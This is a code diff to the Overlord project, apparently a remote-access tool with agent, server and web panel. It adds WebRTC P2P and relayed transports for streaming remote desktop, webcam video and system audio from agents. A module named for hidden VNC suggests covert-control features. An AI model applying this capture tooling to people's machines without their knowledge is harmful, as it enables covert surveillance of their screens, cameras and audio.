+		}
+		tx, err := pc.AddTransceiverFromTrack(audioTrack, webrtc.RTPTransceiverInit{
+			Direction: webrtc.RTPTransceiverDirectionSendonly,
+		})
+		if err != nil {
+			_ = pc.Close()
+			return nil, fmt.Errorf("add audio transceiver: %w", err)
+		}
+		if sender := tx.Sender(); sender != nil {
+			go drainRTCP(sender)
+		}
+	}
 
 	offer, err := pc.CreateOffer(nil)
 	if err != nil {
@@ -148,44 +190,63 @@ func Start(ctx context.Context, opts Options) (*Publisher, error) {
 	}
 
 	pub := &Publisher{
+		kind:        kind,
 		pc:          pc,
 		resourceURL: resourceURL,
 		token:       opts.PublishToken,
 		httpClient:  httpClient,
 	}
 
+	writerID := whipWriterID(kind)
 	pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
-		log.Printf("webrtcpub: WHIP peer state=%s", state)
+		log.Printf("webrtcpub: WHIP[%s] peer state=%s", kind, state)
 		switch state {
 		case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed:
 			whipMu.Lock()
-			if whip == pub {
+			if whipByKind[kind] == pub {
-				whip = nil
+				delete(whipByKind, kind)
 			}
 			whipMu.Unlock()
-			unregisterWriter(whipWriterID)
+			unregisterWriter(kind, writerID)
 		}
 	})
 
 	whipMu.Lock()
-	whip = pub
+	whipByKind[kind] = pub
 	whipMu.Unlock()
-	registerWriter(whipWriterID, &trackWriter{t: track})
+	if videoTrack != nil {
-	log.Printf("webrtcpub: WHIP session established (resource=%s)", resourceURL)
+		registerVideoWriter(kind, writerID, &h264TrackWriter{t: videoTrack})
+	}
+	if audioTrack != nil {
+		registerAudioWriter(kind, writerID, newPCMUAudioWriter(audioTrack))
+	}
+	log.Printf("webrtcpub: WHIP[%s] session established (resource=%s)", kind, resourceURL)
 	return pub, nil
 }
 
-func Stop() {
+func Stop(kind Kind) {
 	whipMu.Lock()
-	p := whip
+	p := whipByKind[kind]
-	whip = nil
+	delete(whipByKind, kind)
 	whipMu.Unlock()
-	unregisterWriter(whipWriterID)
+	unregisterWriter(kind, whipWriterID(kind))
 	if p != nil {
 		p.Close()
 	}
 }
 
+func StopAll() {
+	whipMu.Lock()
+	kinds := make([]Kind, 0, len(whipByKind))
+	for k := range whipByKind {
+		kinds = append(kinds, k)
+	}
+	whipMu.Unlock()
+	for _, k := range kinds {
+		Stop(k)
+	}
+}
+
 func (p *Publisher) Close() {
 	p.closeOnce.Do(func() {
 		if p.resourceURL != "" {
@@ -205,6 +266,10 @@ func (p *Publisher) Close() {
 	})
 }
 
+func whipWriterID(kind Kind) string {
+	return "whip:" + string(kind)
+}
+
 func postWhip(ctx context.Context, client *http.Client, whipURL, token, sdp string) (string, string, error) {
 	req, err := http.NewRequestWithContext(ctx, http.MethodPost, whipURL, strings.NewReader(sdp))
 	if err != nil {

Overlord-Client/cmd/agent/wire/protocol.go

@@ -290,12 +290,14 @@ type DisconnectInfo struct {
 type WebRTCP2PAnswer struct {
 	Type      string `msgpack:"type"`
 	SessionID string `msgpack:"sessionId"`
+	Kind      string `msgpack:"kind,omitempty"`
 	SDP       string `msgpack:"sdp"`
 }
 
 type WebRTCP2PIce struct {
 	Type          string `msgpack:"type"`
 	SessionID     string `msgpack:"sessionId"`
+	Kind          string `msgpack:"kind,omitempty"`
 	Candidate     string `msgpack:"candidate"`
 	SDPMid        string `msgpack:"sdpMid"`
 	SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`

Overlord-Server/public/assets/remotedesktop.js

@@ -183,33 +183,124 @@ import { P2PClient } from "./webrtc-p2p.js";
     }
   }
 
-  function connectAudio() {
+  const audioTransport = document.getElementById("audioTransport");
-    if (audioWs && audioWs.readyState === WebSocket.OPEN) return;
+  const webrtcAudio = document.getElementById("webrtcAudio");
-    // Create AudioContext in click/change handler so the browser trusts the user gesture.
+  let audioWhep = null;
-    initAudioPlayback();
+  let audioP2P = null;
-    if (audioPlayCtx?.state === "suspended") audioPlayCtx.resume();
+  function getAudioTransport() {
-    const proto = location.protocol === "https:" ? "wss:" : "ws:";
+    return audioTransport ? String(audioTransport.value || "off") : "off";
-    audioWs = new WebSocket(proto + "//" + location.host + "/api/clients/" + encodeURIComponent(clientId) + "/desktop-audio/ws");
-    audioWs.binaryType = "arraybuffer";
-    audioWs.onopen = function () {
-      audioWs.send(JSON.stringify({ type: "start", source: "system" }));
-    };
-    audioWs.onmessage = function (ev) {
-      if (typeof ev.data === "string") return;
-      const bytes = new Uint8Array(ev.data);
-      if (bytes.byteLength > 1) appendAudioPcm(bytes);
-    };
-    audioWs.onclose = function () { cleanupAudio(false); };
-    audioWs.onerror = function () {};
   }
 
-  function disconnectAudio() {
+  async function stopAudioWebrtc() {
+    const w = audioWhep;
+    audioWhep = null;
+    if (w) { try { await w.stop(); } catch {} }
+    const p = audioP2P;
+    audioP2P = null;
+    if (p) { try { await p.stop(); } catch {} }
+  }
+
+  async function startAudioWhep(whepPath) {
+    await stopAudioWebrtc();
+    audioWhep = new WhepClient({
+      whepPath,
+      audioEl: webrtcAudio,
+      onState: (s) => console.debug("audio-webrtc[Relayed]: state", s),
+    });
+    try {
+      await audioWhep.start();
+    } catch (err) {
+      console.warn("audio: WHEP start failed", err);
+      audioWhep = null;
+    }
+  }
+
+  function startAudioP2P() {
+    if (!audioWs || audioWs.readyState !== WebSocket.OPEN) return;
+    audioP2P = new P2PClient({
+      audioEl: webrtcAudio,
+      send: (msg) => {
+        if (audioWs && audioWs.readyState === WebSocket.OPEN) {
+          audioWs.send(JSON.stringify(msg));
+        }
+      },
+      onState: (s) => console.debug("audio-webrtc[P2P]: state", s),
+    });
+    audioP2P.start().catch((err) => {
+      console.warn("audio: P2P start failed", err);
+      audioP2P = null;
+    });
+  }
+
+  function connectAudio() {
+    if (audioWs && audioWs.readyState === WebSocket.OPEN) return;
+    const mode = getAudioTransport();
+    // The WS-PCM path requires an AudioContext — only init it when we
+    // actually need it (WebRTC plays through the <audio> element instead).
+    if (mode === "off") {
+      initAudioPlayback();
+      if (audioPlayCtx?.state === "suspended") audioPlayCtx.resume();
+    }
+    const proto = location.protocol === "https:" ? "wss:" : "ws:";
+    // Each handler captures `ws` locally instead of reading the module-scope
+    // `audioWs`. When the operator switches transports, the previous socket's
+    // close event fires asynchronously and would otherwise null out the
+    // freshly created replacement.
+    const ws = new WebSocket(proto + "//" + location.host + "/api/clients/" + encodeURIComponent(clientId) + "/desktop-audio/ws");
+    audioWs = ws;
+    ws.binaryType = "arraybuffer";
+    ws.onopen = function () {
+      const start = { type: "start", source: "system" };
+      if (mode === "relayed") start.webrtc = true;
+      try { ws.send(JSON.stringify(start)); } catch (err) {
+        console.warn("audio: send start failed", err);
+        return;
+      }
+      if (mode === "p2p") startAudioP2P();
+    };
+    ws.onmessage = function (ev) {
+      if (typeof ev.data === "string") {
+        let msg;
+        try { msg = JSON.parse(ev.data); } catch { return; }
+        if (!msg || typeof msg.type !== "string") return;
+        if (msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
+          startAudioWhep(msg.whepPath);
+          return;
+        }
+        if (msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
+          if (audioP2P) audioP2P.onAnswer(msg.sdp);
+          return;
+        }
+        if (msg.type === "webrtc_p2p_ice") {
+          if (audioP2P) audioP2P.onRemoteCandidate(msg);
+          return;
+        }
+        return;
+      }
+      const bytes = new Uint8Array(ev.data);
+      // Only feed PCM into the ScriptProcessor when the WS path is the active
+      // playback — WebRTC modes ignore the parallel PCM uplink.
+      if (mode === "off" && bytes.byteLength > 1) appendAudioPcm(bytes);
+    };
+    ws.onclose = function () {
+      // Stale closes from a previous switch must not stomp the current
+      // socket. Only do the global teardown if this WS is still active.
+      if (audioWs === ws) {
+        stopAudioWebrtc();
+        cleanupAudio(false);
+      }
+    };
+    ws.onerror = function () {};
+  }
+
+  function disconnectAudio(uncheckBox = true) {
     if (audioWs) {
       try { audioWs.send(JSON.stringify({ type: "stop" })); } catch {}
       try { audioWs.close(); } catch {}
       audioWs = null;
     }
-    cleanupAudio(true);
+    stopAudioWebrtc();
+    cleanupAudio(uncheckBox);
   }
 
   function cleanupAudio(uncheckBox) {
@@ -878,6 +969,16 @@ import { P2PClient } from "./webrtc-p2p.js";
       }
     });
   }
+  if (audioTransport) {
+    audioTransport.addEventListener("change", function () {
+      // Reconnect with the new transport if audio is already on. Keep the
+      // checkbox checked — the user is switching modes, not turning audio off.
+      if (audioCtrl && audioCtrl.checked) {
+        disconnectAudio(false);
+        connectAudio();
+      }
+    });
+  }
 
   if (qualitySlider) {
     updateQualityLabel(qualitySlider.value);

Overlord-Server/public/assets/webcam.js

@@ -1,5 +1,7 @@
 import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 import { checkFeatureAccess } from "./feature-gate.js";
+import { WhepClient } from "./whep.js";
+import { P2PClient } from "./webrtc-p2p.js";
 
 (async function () {
   const clientId = new URLSearchParams(location.search).get("clientId");
@@ -27,6 +29,17 @@ import { checkFeatureAccess } from "./feature-gate.js";
   const statusEl = document.getElementById("streamStatus");
   const canvas = document.getElementById("frameCanvas");
   const ctx = canvas.getContext("2d");
+  const webrtcMode = document.getElementById("webrtcMode");
+  const webrtcVideo = document.getElementById("webrtcVideo");
+  let whepClient = null;
+  let p2pClient = null;
+  function getWebrtcMode() {
+    return webrtcMode ? String(webrtcMode.value || "off") : "off";
+  }
+  function setWebrtcViewActive(active) {
+    if (canvas) canvas.style.display = active ? "none" : "block";
+    if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none";
+  }
 
   clientLabel.textContent = clientId;
 
@@ -350,8 +363,76 @@ import { checkFeatureAccess } from "./feature-gate.js";
     ws.send(encodeMsgpack({ type, ...payload }));
   }
 
+  async function startWhep(whepPath) {
+    await stopAllWebrtc();
+    if (!webrtcVideo) return;
+    whepClient = new WhepClient({
+      whepPath,
+      videoEl: webrtcVideo,
+      onState: (s) => {
+        if (s === "connected") setStreamState("streaming", "Streaming (WebRTC Relayed)");
+        else if (s === "failed" || s === "disconnected") setWebrtcViewActive(false);
+      },
+    });
+    try {
+      await whepClient.start();
+      setWebrtcViewActive(true);
+    } catch (err) {
+      console.warn("webcam: WHEP start failed, falling back to canvas", err);
+      setWebrtcViewActive(false);
+      whepClient = null;
+    }
+  }
+
+  async function startP2P() {
+    await stopAllWebrtc();
+    if (!webrtcVideo) return;
+    p2pClient = new P2PClient({
+      videoEl: webrtcVideo,
+      send: (msg) => {
+        if (ws && ws.readyState === WebSocket.OPEN) ws.send(encodeMsgpack(msg));
+      },
+      onState: (s) => {
+        if (s === "connected") setStreamState("streaming", "Streaming (WebRTC P2P)");
+        else if (s === "failed" || s === "disconnected") setWebrtcViewActive(false);
+      },
+    });
+    try {
+      await p2pClient.start();
+      setWebrtcViewActive(true);
+    } catch (err) {
+      console.warn("webcam: P2P start failed, falling back to canvas", err);
+      setWebrtcViewActive(false);
+      const c = p2pClient;
+      p2pClient = null;
+      if (c) { try { await c.stop(); } catch {} }
+    }
+  }
+
+  async function stopAllWebrtc() {
+    setWebrtcViewActive(false);
+    const w = whepClient;
+    whepClient = null;
+    if (w) { try { await w.stop(); } catch {} }
+    const p = p2pClient;
+    p2pClient = null;
+    if (p) { try { await p.stop(); } catch {} }
+  }
+
   function handleControlMessage(msg) {
     if (!msg || typeof msg !== "object") return;
+    if (msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
+      startWhep(msg.whepPath);
+      return;
+    }
+    if (msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
+      if (p2pClient) p2pClient.onAnswer(msg.sdp);
+      return;
+    }
+    if (msg.type === "webrtc_p2p_ice") {
+      if (p2pClient) p2pClient.onRemoteCandidate(msg);
+      return;
+    }
     if (msg.type === "webcam_devices") {
       renderCameraList(msg.devices, msg.selected);
       return;
@@ -404,11 +485,13 @@ import { checkFeatureAccess } from "./feature-gate.js";
     };
 
     ws.onclose = () => {
+      stopAllWebrtc();
       setStreamState("disconnected", "Disconnected");
       setTimeout(connect, 3000);
     };
 
     ws.onerror = () => {
+      stopAllWebrtc();
       setStreamState("error", "Connection error");
     };
   }
@@ -416,13 +499,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
   startBtn.addEventListener("click", () => {
     desiredStreaming = true;
     applyFpsSettings();
+    const mode = getWebrtcMode();
+    if (mode === "relayed") {
+      // Server replies with webrtc_ready; startWhep happens then.
+      send("webcam_start", { webrtc: true });
+    } else if (mode === "p2p") {
       send("webcam_start");
+      startP2P();
+    } else {
+      send("webcam_start");
+    }
     setStreamState("starting", "Starting");
   });
 
   stopBtn.addEventListener("click", () => {
     desiredStreaming = false;
     send("webcam_stop");
+    stopAllWebrtc();
     setStreamState("stopping", "Stopping");
     setTimeout(() => {
       if (streamState === "stopping") {

Overlord-Server/public/assets/webrtc-p2p.js

@@ -16,13 +16,15 @@
 export class P2PClient {
   /**
    * @param {object} opts
-   * @param {HTMLVideoElement} opts.videoEl
+   * @param {HTMLVideoElement} [opts.videoEl]
-   * @param {(msg: object) => void} opts.send  Send a JSON-encodable msg over the RD WS.
+   * @param {HTMLAudioElement} [opts.audioEl]
+   * @param {(msg: object) => void} opts.send  Send a JSON-encodable msg over the viewer's WS.
    * @param {(state: string) => void} [opts.onState]
    * @param {string[]} [opts.iceServers]  STUN URLs. Default: Google public STUN.
    */
   constructor(opts) {
-    this.videoEl = opts.videoEl;
+    this.videoEl = opts.videoEl || null;
+    this.audioEl = opts.audioEl || null;
     this.send = opts.send;
     this.onState = opts.onState || (() => {});
     this.iceServers = opts.iceServers || ["stun:stun.l.google.com:19302"];
@@ -38,13 +40,18 @@ export class P2PClient {
     });
     this.pc = pc;
 
-    pc.addTransceiver("video", { direction: "recvonly" });
+    if (this.videoEl) pc.addTransceiver("video", { direction: "recvonly" });
+    if (this.audioEl) pc.addTransceiver("audio", { direction: "recvonly" });
 
     pc.ontrack = (ev) => {
-      if (ev.track.kind !== "video") return;
       const stream = ev.streams[0] || new MediaStream([ev.track]);
+      if (ev.track.kind === "video" && this.videoEl) {
         this.videoEl.srcObject = stream;
         this.videoEl.play().catch(() => {});
+      } else if (ev.track.kind === "audio" && this.audioEl) {
+        this.audioEl.srcObject = stream;
+        this.audioEl.play().catch(() => {});
+      }
     };
     pc.onicecandidate = (ev) => {
       // Trickle ICE: empty candidate signals end-of-gathering — we don't
@@ -104,5 +111,6 @@ export class P2PClient {
     }
     try { this.send({ type: "webrtc_p2p_stop" }); } catch {}
     if (this.videoEl) this.videoEl.srcObject = null;
+    if (this.audioEl) this.audioEl.srcObject = null;
   }
 }

Overlord-Server/public/assets/whep.js

@@ -11,13 +11,16 @@
 export class WhepClient {
   /**
    * @param {object} opts
-   * @param {string} opts.whepPath  Path under the same origin, e.g. "/api/webrtc/agents/abc/whep"
+   * @param {string} opts.whepPath  Path under the same origin, e.g. "/api/webrtc/agents/abc/desktop/whep"
-   * @param {HTMLVideoElement} opts.videoEl
+   * @param {HTMLVideoElement} [opts.videoEl]  Attach the video track here.
+   * @param {HTMLAudioElement} [opts.audioEl]  Attach the audio track here.
+   *                                            Default: hidden <audio> appended to <body>.
    * @param {(state: string) => void} [opts.onState]
    */
   constructor(opts) {
     this.whepPath = opts.whepPath;
-    this.videoEl = opts.videoEl;
+    this.videoEl = opts.videoEl || null;
+    this.audioEl = opts.audioEl || null;
     this.onState = opts.onState || (() => {});
     this.pc = null;
     this.resourceURL = "";
@@ -28,13 +31,18 @@ export class WhepClient {
 
     const pc = new RTCPeerConnection({});
     this.pc = pc;
-    pc.addTransceiver("video", { direction: "recvonly" });
+    if (this.videoEl) pc.addTransceiver("video", { direction: "recvonly" });
+    if (this.audioEl) pc.addTransceiver("audio", { direction: "recvonly" });
 
     pc.ontrack = (ev) => {
-      if (ev.track.kind !== "video") return;
       const stream = ev.streams[0] || new MediaStream([ev.track]);
+      if (ev.track.kind === "video" && this.videoEl) {
         this.videoEl.srcObject = stream;
         this.videoEl.play().catch(() => {});
+      } else if (ev.track.kind === "audio" && this.audioEl) {
+        this.audioEl.srcObject = stream;
+        this.audioEl.play().catch(() => {});
+      }
     };
     pc.onconnectionstatechange = () => {
       this.onState(pc.connectionState);
@@ -77,9 +85,8 @@ export class WhepClient {
     if (pc) {
       try { pc.close(); } catch {}
     }
-    if (this.videoEl) {
+    if (this.videoEl) this.videoEl.srcObject = null;
-      this.videoEl.srcObject = null;
+    if (this.audioEl) this.audioEl.srcObject = null;
-    }
   }
 }
 

Overlord-Server/public/remotedesktop.html

@@ -145,6 +145,15 @@
             <label class="flex items-center gap-2 text-sm text-slate-200" title="Stream system audio from the remote machine"
               ><input type="checkbox" id="audioCtrl" /> <i class="fa-solid fa-volume-high text-slate-400"></i> Audio</label
             >
+            <label class="flex items-center gap-2 text-sm text-slate-200" title="Audio transport. WS: raw PCM over the existing WebSocket (current default). WebRTC modes use G.711 over the WebRTC track instead.">
+              <span class="text-slate-400">Audio via</span>
+              <select id="audioTransport" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
+                <option value="off" selected>WS</option>
+                <option value="p2p">WebRTC P2P</option>
+                <option value="relayed">WebRTC Relayed</option>
+              </select>
+            </label>
+            <audio id="webrtcAudio" autoplay style="display: none"></audio>
             <label class="flex items-center gap-2 text-sm text-slate-200" title="Smooths mouse input for steadier movement">
               <span class="text-slate-400">Smoothing</span>
               <input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="accent-emerald-400" />

Overlord-Server/public/webcam.html

@@ -68,6 +68,14 @@
               <input type="checkbox" id="codecH264" checked /> H.264
             </label>
             <span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
+            <label class="flex items-center gap-2 text-slate-200" title="Streaming transport. P2P: browser ↔ agent direct (H.264 required). Relayed: through MediaMTX. Canvas: existing WS path.">
+              <span class="text-slate-200">Transport</span>
+              <select id="webrtcMode" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
+                <option value="off" selected>Canvas</option>
+                <option value="p2p">WebRTC P2P</option>
+                <option value="relayed">WebRTC Relayed</option>
+              </select>
+            </label>
           </div>
           <div class="flex items-center gap-2">
             <button id="startBtn" class="button primary">
@@ -114,6 +122,14 @@
               height="720"
               style="display: block; max-width: 100%; max-height: 100%; width: auto; height: auto;"
             ></canvas>
+            <video
+              id="webrtcVideo"
+              class="bg-slate-950"
+              autoplay
+              playsinline
+              muted
+              style="display: none; max-width: 100%; max-height: 100%; width: auto; height: auto;"
+            ></video>
           </div>
         </div>
       </div>

Overlord-Server/src/server/routes/webrtc-routes.ts

@@ -24,15 +24,18 @@ export function issueWebrtcPublishToken(clientId: string): string {
   return token;
 }
 
-export function webrtcStreamPathFor(clientId: string): string {
+export type WebrtcKind = "desktop" | "webcam" | "audio";
-  return `agents/${clientId}`;
+
+export function webrtcStreamPathFor(clientId: string, kind: WebrtcKind): string {
+  return `agents/${clientId}/${kind}`;
 }
 
 export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Response | null> {
   if (!url.pathname.startsWith("/api/webrtc/")) return null;
 
   const rest = url.pathname.slice("/api/webrtc/".length);
-  const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+)\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
+  // /api/webrtc/agents/<clientId>/<kind>/(whip|whep)[/<sessionId>]
+  const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
   if (!match) return new Response("Not Found", { status: 404 });
 
   const [, streamPath, kind, sessionSuffix] = match;

Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts

@@ -809,6 +809,7 @@ export function handleWebSocketClose(
   }
 
   if (role === "webcam_viewer") {
+    deps.cleanupRdViewerP2P(ws);
     let removedClientId = clientId;
     for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
       if (sess.viewer === ws) {
@@ -822,6 +823,7 @@ export function handleWebSocketClose(
     if (!stillViewing) {
       const target = clientManager.getClient(removedClientId);
       deps.sendDesktopCommand(target, "webcam_stop", {});
+      deps.sendDesktopCommand(target, "webrtc_stop", { kind: "webcam" });
       deps.webcamStreamingState.delete(removedClientId);
       logger.debug(`[webcam] cleaned up state for client ${removedClientId}`);
     }

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -214,17 +214,22 @@ export const rdStreamingState = new Map<string, {
 const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
 const RD_INPUT_TTL_MS = 10_000;
 
-type P2PSession = { viewer: ServerWebSocket<SocketData>; clientId: string };
+export type P2PKind = "desktop" | "webcam" | "audio";
+type P2PSession = {
+  viewer: ServerWebSocket<SocketData>;
+  clientId: string;
+  kind: P2PKind;
+};
 const p2pAgentToViewer = new Map<string, P2PSession>();
 const p2pViewerToAgent = new WeakMap<ServerWebSocket<SocketData>, string>();
 
-function createP2PSession(ws: ServerWebSocket<SocketData>, clientId: string): string {
+export function createP2PSession(ws: ServerWebSocket<SocketData>, clientId: string, kind: P2PKind): string {
   const prior = p2pViewerToAgent.get(ws);
   if (prior) {
     p2pAgentToViewer.delete(prior);
   }
   const sessionId = uuidv4();
-  p2pAgentToViewer.set(sessionId, { viewer: ws, clientId });
+  p2pAgentToViewer.set(sessionId, { viewer: ws, clientId, kind });
   p2pViewerToAgent.set(ws, sessionId);
   return sessionId;
 }
@@ -233,14 +238,20 @@ function lookupP2PSession(sessionId: string): P2PSession | undefined {
   return p2pAgentToViewer.get(sessionId);
 }
 
-function clearP2PSessionForViewer(ws: ServerWebSocket<SocketData>): { sessionId: string; clientId: string } | null {
+export function getP2PSessionIdForViewer(ws: ServerWebSocket<SocketData>): string | undefined {
+  return p2pViewerToAgent.get(ws);
+}
+
+export function clearP2PSessionForViewer(ws: ServerWebSocket<SocketData>):
+  | { sessionId: string; clientId: string; kind: P2PKind }
+  | null {
   const sessionId = p2pViewerToAgent.get(ws);
   if (!sessionId) return null;
   const entry = p2pAgentToViewer.get(sessionId);
   p2pAgentToViewer.delete(sessionId);
   p2pViewerToAgent.delete(ws);
   if (!entry) return null;
-  return { sessionId, clientId: entry.clientId };
+  return { sessionId, clientId: entry.clientId, kind: entry.kind };
 }
 
 function pruneRdInputPending(now = Date.now()) {
@@ -415,13 +426,16 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
           }
         }
         if ((payload as any).webrtc === true) {
-          const streamPath = webrtcStreamPathFor(clientId);
+          const streamPath = webrtcStreamPathFor(clientId, "desktop");
           const token = issueWebrtcPublishToken(clientId);
           const whipPath = `/api/webrtc/${streamPath}/whip`;
           sendDesktopCommand(target, "webrtc_publish", {
             streamPath,
             whipPath,
             token,
+            kind: "desktop",
+            hasVideo: true,
+            hasAudio: false,
           });
           safeSendViewer(ws, {
             type: "webrtc_ready",
@@ -442,7 +456,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
         .filter(s => s.id !== ws.data.sessionId);
       if (otherViewers.length === 0) {
         sendDesktopCommand(target, "desktop_stop", {});
-        sendDesktopCommand(target, "webrtc_stop", {});
+        sendDesktopCommand(target, "webrtc_stop", { kind: "desktop" });
         if (state.isStreaming) {
           state.isStreaming = false;
           rdStreamingState.set(clientId, state);
@@ -591,8 +605,8 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
     case "webrtc_p2p_offer": {
       const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
       if (!sdp) break;
-      const sessionId = createP2PSession(ws, clientId);
+      const sessionId = createP2PSession(ws, clientId, "desktop");
-      sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp });
+      sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "desktop", hasVideo: true, hasAudio: false });
       break;
     }
     case "webrtc_p2p_ice": {
@@ -602,6 +616,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
       if (!candidate) break;
       sendDesktopCommand(target, "webrtc_p2p_ice", {
         sessionId,
+        kind: "desktop",
         candidate,
         sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
         sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
@@ -611,7 +626,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
     case "webrtc_p2p_stop": {
       const cleared = clearP2PSessionForViewer(ws);
       if (cleared) {
-        sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
+        sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
       }
       break;
     }
@@ -620,13 +635,23 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
   }
 }
 
+function sendP2PSignalingToViewer(session: P2PSession, msg: Record<string, unknown>) {
+  if (session.kind === "audio") {
+    try { session.viewer.send(JSON.stringify(msg)); } catch (err) {
+      logger.error("[audio] p2p signaling send failed", err);
+    }
+    return;
+  }
+  safeSendViewer(session.viewer, msg);
+}
+
 export function handleWebrtcP2PAnswer(_clientId: string, payload: any) {
   const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
   const sdp = typeof payload?.sdp === "string" ? payload.sdp : "";
   if (!sessionId || !sdp) return;
   const session = lookupP2PSession(sessionId);
   if (!session) return;
-  safeSendViewer(session.viewer, { type: "webrtc_p2p_answer", sdp });
+  sendP2PSignalingToViewer(session, { type: "webrtc_p2p_answer", sdp });
 }
 
 export function handleWebrtcP2PIce(_clientId: string, payload: any) {
@@ -635,7 +660,7 @@ export function handleWebrtcP2PIce(_clientId: string, payload: any) {
   if (!sessionId || !candidate) return;
   const session = lookupP2PSession(sessionId);
   if (!session) return;
-  safeSendViewer(session.viewer, {
+  sendP2PSignalingToViewer(session, {
     type: "webrtc_p2p_ice",
     candidate,
     sdpMid: typeof payload?.sdpMid === "string" ? payload.sdpMid : "",
@@ -643,15 +668,17 @@ export function handleWebrtcP2PIce(_clientId: string, payload: any) {
   });
 }
 
-export function cleanupRdViewerP2P(ws: ServerWebSocket<SocketData>) {
+export function cleanupViewerP2P(ws: ServerWebSocket<SocketData>) {
   const cleared = clearP2PSessionForViewer(ws);
   if (!cleared) return;
   const target = clientManager.getClient(cleared.clientId);
   if (target) {
-    sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
+    sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
   }
 }
 
+export const cleanupRdViewerP2P = cleanupViewerP2P;
+
 function handleRemoteDesktopFrame(payload: any) {
   const clientId = payload.clientId as string;
   const header = payload.header;
@@ -826,6 +853,23 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
       if (!state.isStreaming) {
         sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
         sendDesktopCommand(target, "webcam_set_quality", { quality: state.quality, codec: state.codec });
+        if ((payload as any).webrtc === true) {
+          const streamPath = webrtcStreamPathFor(clientId, "webcam");
+          const token = issueWebrtcPublishToken(clientId);
+          sendDesktopCommand(target, "webrtc_publish", {
+            streamPath,
+            whipPath: `/api/webrtc/${streamPath}/whip`,
+            token,
+            kind: "webcam",
+            hasVideo: true,
+            hasAudio: false,
+          });
+          safeSendViewer(ws, {
+            type: "webrtc_ready",
+            streamPath,
+            whepPath: `/api/webrtc/${streamPath}/whep`,
+          });
+        }
         sendDesktopCommand(target, "webcam_start", {});
         state.isStreaming = true;
         webcamStreamingState.set(clientId, state);
@@ -845,6 +889,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
         .filter(s => s.id !== ws.data.sessionId);
       if (otherWebcamViewers.length === 0) {
         sendDesktopCommand(target, "webcam_stop", {});
+        sendDesktopCommand(target, "webrtc_stop", { kind: "webcam" });
         state.isStreaming = false;
         webcamStreamingState.set(clientId, state);
       } else {
@@ -852,6 +897,34 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
       }
       break;
     }
+    case "webrtc_p2p_offer": {
+      const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
+      if (!sdp) break;
+      const sessionId = createP2PSession(ws, clientId, "webcam");
+      sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "webcam", hasVideo: true, hasAudio: false });
+      break;
+    }
+    case "webrtc_p2p_ice": {
+      const sessionId = p2pViewerToAgent.get(ws);
+      if (!sessionId) break;
+      const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
+      if (!candidate) break;
+      sendDesktopCommand(target, "webrtc_p2p_ice", {
+        sessionId,
+        kind: "webcam",
+        candidate,
+        sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
+        sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
+      });
+      break;
+    }
+    case "webrtc_p2p_stop": {
+      const cleared = clearP2PSessionForViewer(ws);
+      if (cleared) {
+        sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
+      }
+      break;
+    }
     default:
       break;
   }

Overlord-Server/src/server/ws-desktop-audio.ts

@@ -5,10 +5,17 @@ import { encodeMessage } from "../protocol";
 import * as sessionManager from "../sessions/sessionManager";
 import type { DesktopAudioViewer, SocketData } from "../sessions/types";
 import { canUserAccessClient } from "../users";
+import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes";
+import {
+  cleanupViewerP2P,
+  clearP2PSessionForViewer,
+  createP2PSession,
+  getP2PSessionIdForViewer,
+} from "./ws-console-rd-hvnc";
 
 function sendDesktopAudioCommand(
   clientId: string,
